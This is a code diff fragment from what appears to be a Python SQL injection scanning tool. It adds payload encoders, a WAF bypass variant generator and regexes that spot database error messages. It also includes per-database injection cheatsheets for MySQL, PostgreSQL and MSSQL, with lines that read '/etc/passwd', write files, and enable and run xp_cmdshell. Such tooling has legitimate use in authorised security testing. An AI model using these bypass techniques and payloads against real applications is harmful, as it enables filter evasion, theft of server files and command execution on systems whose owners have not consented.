def encode_payload(self, payload: str, encoding: str) -> str:
|
|
604
|
+
"""Encode payload with various methods"""
|
|
605
|
+
encodings = {
|
|
606
|
+
"url": urllib.parse.quote(payload),
|
|
607
|
+
"double_url": urllib.parse.quote(urllib.parse.quote(payload)),
|
|
608
|
+
"base64": base64.b64encode(payload.encode()).decode(),
|
|
609
|
+
"hex": payload.encode().hex(),
|
|
610
|
+
"unicode": "".join([f"\\u{ord(c):04x}" for c in payload]),
|
|
611
|
+
}
|
|
612
|
+
return encodings.get(encoding, payload)
|
|
613
|
+
|
|
614
|
+
def generate_waf_bypass_variants(self, payload: str) -> List[str]:
|
|
615
|
+
"""Generate WAF bypass variants of a payload"""
|
|
616
|
+
variants = [payload]
|
|
617
|
+
|
|
618
|
+
# Case variations
|
|
619
|
+
variants.append(payload.replace("SELECT", "SeLeCt").replace("UNION", "UnIoN"))
|
|
620
|
+
|
|
621
|
+
# Space alternatives
|
|
622
|
+
variants.append(payload.replace(" ", "/**/"))
|
|
623
|
+
variants.append(payload.replace(" ", "%09"))
|
|
624
|
+
variants.append(payload.replace(" ", "%0a"))
|
|
625
|
+
|
|
626
|
+
# Comment injection
|
|
627
|
+
variants.append(payload.replace(" ", "/*!50000*/"))
|
|
628
|
+
|
|
629
|
+
# URL encoding
|
|
630
|
+
variants.append(urllib.parse.quote(payload))
|
|
631
|
+
|
|
632
|
+
# Double encoding
|
|
633
|
+
variants.append(urllib.parse.quote(urllib.parse.quote(payload)))
|
|
634
|
+
|
|
635
|
+
# Unicode normalization
|
|
636
|
+
variants.append(payload.replace("'", "%ef%bc%87")) # Fullwidth apostrophe
|
|
637
|
+
|
|
638
|
+
return list(set(variants)) # Remove duplicates
|
|
639
|
+
|
|
640
|
+
async def analyze_response(
|
|
641
|
+
self, original_response: str, modified_response: str, payload: str
|
|
642
|
+
) -> Optional[SQLInjectionFinding]:
|
|
643
|
+
"""Analyze if response indicates SQL injection"""
|
|
644
|
+
|
|
645
|
+
# SQL error patterns
|
|
646
|
+
error_patterns = [
|
|
647
|
+
(r"SQL syntax.*MySQL", DBType.MYSQL),
|
|
648
|
+
(r"Warning.*mysql_.*\(", DBType.MYSQL),
|
|
649
|
+
(r"valid MySQL result", DBType.MYSQL),
|
|
650
|
+
(r"MySqlClient\.", DBType.MYSQL),
|
|
651
|
+
(r"PostgreSQL.*ERROR", DBType.POSTGRESQL),
|
|
652
|
+
(r"Warning.*pg_.*\(", DBType.POSTGRESQL),
|
|
653
|
+
(r"valid PostgreSQL result", DBType.POSTGRESQL),
|
|
654
|
+
(r"Npgsql\.", DBType.POSTGRESQL),
|
|
655
|
+
(r"Driver.*SQL.*Server", DBType.MSSQL),
|
|
656
|
+
(r"OLE DB.*SQL Server", DBType.MSSQL),
|
|
657
|
+
(r"(\W|\A)SQL.*Server.*Driver", DBType.MSSQL),
|
|
658
|
+
(r"Warning.*mssql_.*\(", DBType.MSSQL),
|
|
659
|
+
(r"(\W|\A)SQL.*Server.*[0-9a-fA-F]{8}", DBType.MSSQL),
|
|
660
|
+
(r"Exception.*Oracle", DBType.ORACLE),
|
|
661
|
+
(r"Oracle error", DBType.ORACLE),
|
|
662
|
+
(r"Oracle.*Driver", DBType.ORACLE),
|
|
663
|
+
(r"Warning.*oci_.*\(", DBType.ORACLE),
|
|
664
|
+
(r"Microsoft.*OLE.*DB.*Oracle", DBType.ORACLE),
|
|
665
|
+
(r"SQLite/JDBCDriver", DBType.SQLITE),
|
|
666
|
+
(r"SQLite\.Exception", DBType.SQLITE),
|
|
667
|
+
(r"System\.Data\.SQLite\.SQLiteException", DBType.SQLITE),
|
|
668
|
+
(r"Warning.*sqlite_.*\(", DBType.SQLITE),
|
|
669
|
+
(r"\[SQLITE_ERROR\]", DBType.SQLITE),
|
|
670
|
+
]
|
|
671
|
+
|
|
672
|
+
import re
|
|
673
|
+
|
|
674
|
+
for pattern, db_type in error_patterns:
|
|
675
|
+
if re.search(pattern, modified_response, re.IGNORECASE):
|
|
676
|
+
return SQLInjectionFinding(
|
|
677
|
+
url="",
|
|
678
|
+
parameter="",
|
|
679
|
+
technique=SQLITechnique.ERROR_BASED,
|
|
680
|
+
db_type=db_type,
|
|
681
|
+
payload=payload,
|
|
682
|
+
evidence=f"Error pattern matched: {pattern}",
|
|
683
|
+
severity="Critical",
|
|
684
|
+
)
|
|
685
|
+
|
|
686
|
+
# Check for time-based injection (would need timing info)
|
|
687
|
+
# Check for boolean-based (compare original vs modified)
|
|
688
|
+
|
|
689
|
+
return None
|
|
690
|
+
|
|
691
|
+
def get_cheatsheet(self, db_type: DBType) -> str:
|
|
692
|
+
"""Get SQL injection cheatsheet for a database"""
|
|
693
|
+
cheatsheets = {
|
|
694
|
+
DBType.MYSQL: """
|
|
695
|
+
MySQL SQL Injection Cheatsheet:
|
|
696
|
+
|
|
697
|
+
Comments:
|
|
698
|
+
-- - (space required after --)
|
|
699
|
+
#
|
|
700
|
+
/* */
|
|
701
|
+
|
|
702
|
+
Version:
|
|
703
|
+
SELECT @@version
|
|
704
|
+
SELECT version()
|
|
705
|
+
|
|
706
|
+
User:
|
|
707
|
+
SELECT user()
|
|
708
|
+
SELECT system_user()
|
|
709
|
+
SELECT session_user()
|
|
710
|
+
|
|
711
|
+
Database:
|
|
712
|
+
SELECT database()
|
|
713
|
+
SELECT schema()
|
|
714
|
+
|
|
715
|
+
String Concatenation:
|
|
716
|
+
SELECT CONCAT('a','b')
|
|
717
|
+
SELECT 'a' 'b'
|
|
718
|
+
|
|
719
|
+
Substrings:
|
|
720
|
+
SELECT SUBSTRING('abc',1,1)
|
|
721
|
+
SELECT MID('abc',1,1)
|
|
722
|
+
|
|
723
|
+
ASCII:
|
|
724
|
+
SELECT ASCII('A')
|
|
725
|
+
|
|
726
|
+
Length:
|
|
727
|
+
SELECT LENGTH('abc')
|
|
728
|
+
|
|
729
|
+
Conditional:
|
|
730
|
+
SELECT IF(1=1,'true','false')
|
|
731
|
+
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END
|
|
732
|
+
|
|
733
|
+
Time Delay:
|
|
734
|
+
SELECT SLEEP(5)
|
|
735
|
+
SELECT BENCHMARK(1000000,MD5(1))
|
|
736
|
+
|
|
737
|
+
File Operations:
|
|
738
|
+
SELECT LOAD_FILE('/etc/passwd')
|
|
739
|
+
SELECT 'content' INTO OUTFILE '/tmp/file'
|
|
740
|
+
|
|
741
|
+
Information Schema:
|
|
742
|
+
SELECT table_name FROM information_schema.tables
|
|
743
|
+
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
|
744
|
+
""",
|
|
745
|
+
DBType.POSTGRESQL: """
|
|
746
|
+
PostgreSQL SQL Injection Cheatsheet:
|
|
747
|
+
|
|
748
|
+
Comments:
|
|
749
|
+
--
|
|
750
|
+
/* */
|
|
751
|
+
//
|
|
752
|
+
|
|
753
|
+
Version:
|
|
754
|
+
SELECT version()
|
|
755
|
+
|
|
756
|
+
User:
|
|
757
|
+
SELECT current_user
|
|
758
|
+
SELECT session_user
|
|
759
|
+
SELECT user
|
|
760
|
+
|
|
761
|
+
String Concatenation:
|
|
762
|
+
SELECT 'a' || 'b'
|
|
763
|
+
SELECT CONCAT('a','b')
|
|
764
|
+
|
|
765
|
+
Substrings:
|
|
766
|
+
SELECT SUBSTRING('abc',1,1)
|
|
767
|
+
SELECT substr('abc',1,1)
|
|
768
|
+
|
|
769
|
+
ASCII:
|
|
770
|
+
SELECT ASCII('A')
|
|
771
|
+
|
|
772
|
+
Time Delay:
|
|
773
|
+
SELECT pg_sleep(5)
|
|
774
|
+
SELECT (SELECT COUNT(*) FROM generate_series(1,10000000))
|
|
775
|
+
|
|
776
|
+
File Operations:
|
|
777
|
+
SELECT pg_read_file('postgresql.conf')
|
|
778
|
+
COPY (SELECT '') TO '/tmp/file'
|
|
779
|
+
|
|
780
|
+
Information Schema:
|
|
781
|
+
SELECT table_name FROM information_schema.tables
|
|
782
|
+
""",
|
|
783
|
+
DBType.MSSQL: """
|
|
784
|
+
MSSQL SQL Injection Cheatsheet:
|
|
785
|
+
|
|
786
|
+
Comments:
|
|
787
|
+
--
|
|
788
|
+
/* */
|
|
789
|
+
|
|
790
|
+
Version:
|
|
791
|
+
SELECT @@version
|
|
792
|
+
|
|
793
|
+
User:
|
|
794
|
+
SELECT SYSTEM_USER
|
|
795
|
+
SELECT CURRENT_USER
|
|
796
|
+
SELECT SUSER_SNAME()
|
|
797
|
+
|
|
798
|
+
Database:
|
|
799
|
+
SELECT DB_NAME()
|
|
800
|
+
|
|
801
|
+
String Concatenation:
|
|
802
|
+
SELECT 'a' + 'b'
|
|
803
|
+
SELECT CONCAT('a','b')
|
|
804
|
+
|
|
805
|
+
Substrings:
|
|
806
|
+
SELECT SUBSTRING('abc',1,1)
|
|
807
|
+
|
|
808
|
+
ASCII:
|
|
809
|
+
SELECT ASCII('A')
|
|
810
|
+
|
|
811
|
+
Time Delay:
|
|
812
|
+
WAITFOR DELAY '0:0:5'
|
|
813
|
+
WAITFOR TIME '12:00:00'
|
|
814
|
+
|
|
815
|
+
Command Execution:
|
|
816
|
+
EXEC xp_cmdshell 'whoami'
|
|
817
|
+
EXEC sp_configure 'show advanced options', 1; RECONFIGURE
|
|
818
|
+
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE
|
|
819
|
+
|
|
820
|
+
Information Schema:
|
|
821
|
+
SELECT table_name FROM information_schema.tables
|
|
822
|
+
SELECT name FROM sysobjects WHERE xtype='U'
|
|
823
|
+
""",
|
|
824
|
+
}
|
|
825
|
+
|
|
826
|
+
return cheatsheets.get(db_type, "Cheatsheet not available")
|